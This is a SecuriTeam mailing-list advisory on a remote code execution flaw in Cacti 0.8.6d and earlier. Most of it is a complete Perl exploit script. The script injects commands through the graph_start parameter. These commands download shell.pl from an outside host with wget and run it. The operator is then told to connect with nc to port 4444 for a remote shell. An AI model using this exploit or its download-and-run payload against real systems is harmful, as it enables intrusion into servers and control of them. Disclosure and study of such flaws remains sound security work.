[EXPL] Cacti Remote Code Execution Vulnerability (Exploit)

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Cacti Remote Code Execution Vulnerability (Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://www.rrdtool.org/> Cacti's goal is to be a complete front-end to 
rrdtool, storing all of the necessary information to create graphs and 
populate them with data in a MySQL database."

A remote execution vulnerability was found with Cacti that allow attackers 
to execute arbitrary code on  Cacti's server.

DETAILS

Vulnerable Systems:
 * Cacti version 0.8.6d and prior

Exploit:
#!/usr/bin/perl
#
# Remote Command Execution Exploit for Cacti <= 0.8.6d
#
# This exploit open a remote shell on the targets that uses Cacti
# TARGET HOST MUST BE A GNU/LINUX SERVER, if not:
# manual exploiting --> http://www.example.com/cacti/graph_image.php? 
local_graph_id= [valid_value]&graph_start=%0a[command]%0a
# Patch: download the last version http://www.cacti.net/download_cacti.php
# Discovered and Coded by Alberto Trivero

use LWP::Simple;

print "\n\t===============================\n";
print "\t= Exploit for Cacti <= 0.8.6d =\n";
print "\t=      by Alberto Trivero     =\n";
print "\t===============================\n\n";

if(@ARGV<2 or !($ARGV[1]=~m/\//)) {
   print "Usage:\nperl $0 [target] [path]\n\nExamples:\nperl $0 
www.example.com /cacti/\n";
   exit(0);
}

$page=get("http://".$ARGV[0].$ARGV[1]."graph_view.php?action=list";) || die 
"[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/local_graph_id=(.*?)&/ || die "[-] Unable to retrieve a value for 
local_graph_id";
print "[~] Sending exploiting request, wait for some 
seconds/minutes...\n";
get("http://"; . $ARGV[0] . $ARGV[1] . "graph_image.php?local_graph_id=$1" 
 "&graph_start=%0acd /tmp;wget 
http://albythebest.altervista.org/shell.pl;chmod 777 shell.pl;perl 
shell.pl%0a");
print "[+] Exploiting request done!\n";
print "[*] Now try on your box: nc -v $ARGV[0] 4444\n";

#EOF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:trivero@jumpy.it> Alberto 
Trivero.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.